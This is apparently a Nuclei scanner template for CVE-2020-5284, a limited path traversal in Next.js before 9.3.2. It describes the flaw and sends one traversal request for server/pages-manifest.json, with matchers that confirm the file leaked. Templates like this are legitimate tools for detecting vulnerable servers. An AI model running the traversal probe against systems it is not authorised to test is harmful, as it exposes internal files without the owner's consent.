nuclei-templates/cves/2020/CVE-2020-5284.yaml

35 lines
1.2 KiB
YAML

id: CVE-2020-5284
info:
name: Next.js .next/ limited path traversal
author: rootxharsh,iamnoooob,dwisiswant0
severity: medium
description: Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.
tags: cve,cve2020,nextjs,lfi
reference:
https://github.com/zeit/next.js/releases/tag/v9.3.2
https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
cvss-score: 4.30
cve-id: CVE-2020-5284
cwe-id: CWE-22
requests:
- method: GET
path:
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
matchers-condition: and
matchers:
- type: regex
regex:
- '\{"/_app":".*?_app\.js"'
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200